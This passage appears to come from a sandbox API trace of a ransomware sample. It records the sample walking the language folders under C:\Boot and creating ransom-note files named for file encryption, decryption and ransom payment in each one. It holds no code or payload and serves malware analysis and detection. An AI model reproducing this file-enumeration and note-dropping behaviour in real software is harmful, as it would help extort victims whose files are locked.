lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa65b39e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65b39e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.777] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa658d880, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa658d880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa658d880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.777] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65b39e0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65b39e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65b39e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.777] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa658d880, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa658d880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65b39e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.777] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.777] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.777] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.777] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0068.777] AreFileApisANSI () returned 1 [0068.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.778] CreateFileW (lpFileName="C:\\\\Boot\\sv-SE\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\sv-se\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.778] GetFileType (hFile=0x1f4) returned 0x1 [0068.778] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.779] AreFileApisANSI () returned 1 [0068.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.779] CreateFileW (lpFileName="C:\\\\Boot\\sv-SE\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\sv-se\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.781] GetFileType (hFile=0x1f4) returned 0x1 [0068.781] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.782] AreFileApisANSI () returned 1 [0068.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.782] CreateFileW (lpFileName="C:\\\\Boot\\sv-SE\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\sv-se\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.783] GetFileType (hFile=0x1f4) returned 0x1 [0068.783] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.784] FindFirstFileA (in: lpFileName="C:\\\\Boot\\sv-SE\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa65b39e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65b39e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.784] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa65b39e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65b39e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.784] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65b39e0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65b39e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65b39e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.784] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65b39e0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65b39e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65b39e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.784] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65b39e0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65b39e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65b39e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.784] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.784] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.784] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.784] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0068.784] AreFileApisANSI () returned 1 [0068.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.784] CreateFileW (lpFileName="C:\\\\Boot\\tr-TR\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\tr-tr\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.788] GetFileType (hFile=0x1f4) returned 0x1 [0068.788] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.789] AreFileApisANSI () returned 1 [0068.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.789] CreateFileW (lpFileName="C:\\\\Boot\\tr-TR\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\tr-tr\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.790] GetFileType (hFile=0x1f4) returned 0x1 [0068.790] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.792] AreFileApisANSI () returned 1 [0068.792] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.792] CreateFileW (lpFileName="C:\\\\Boot\\tr-TR\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\tr-tr\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.793] GetFileType (hFile=0x1f4) returned 0x1 [0068.793] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.794] FindFirstFileA (in: lpFileName="C:\\\\Boot\\tr-TR\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa65d9b40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65d9b40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.794] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa65d9b40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65d9b40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.794] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65b39e0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65b39e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65b39e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.794] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65d9b40, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65d9b40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65d9b40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.794] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65b39e0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65b39e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65d9b40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.794] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.794] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.794] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.794] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0068.794] AreFileApisANSI () returned 1 [0068.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.795] CreateFileW (lpFileName="C:\\\\Boot\\zh-CN\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\zh-cn\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.795] GetFileType (hFile=0x1f4) returned 0x1 [0068.795] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.796] AreFileApisANSI () returned 1 [0068.796] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.796] CreateFileW (lpFileName="C:\\\\Boot\\zh-CN\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\zh-cn\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.798] GetFileType (hFile=0x1f4) returned 0x1 [0068.798] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.799] AreFileApisANSI () returned 1 [0068.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.799] CreateFileW (lpFileName="C:\\\\Boot\\zh-CN\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\zh-cn\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.800] GetFileType (hFile=0x1f4) returned 0x1 [0068.800] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.801] FindFirstFileA (in: lpFileName="C:\\\\Boot\\zh-CN\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa65d9b40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65d9b40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.801] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa65d9b40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65d9b40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.801] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65d9b40, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65d9b40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65d9b40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.801] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65d9b40, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65d9b40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65d9b40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.801] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65d9b40, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65d9b40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65d9b40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.801] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.801] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.801] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.801] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0068.801] AreFileApisANSI () returned 1 [0068.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.801] CreateFileW (lpFileName="C:\\\\Boot\\zh-HK\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\zh-hk\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.803] GetFileType (hFile=0x1f4) returned 0x1 [0068.803] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.804] AreFileApisANSI () returned 1 [0068.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.804] CreateFileW (lpFileName="C:\\\\Boot\\zh-HK\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\zh-hk\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.806] GetFileType (hFile=0x1f4) returned 0x1 [0068.806] HeapFree (in: 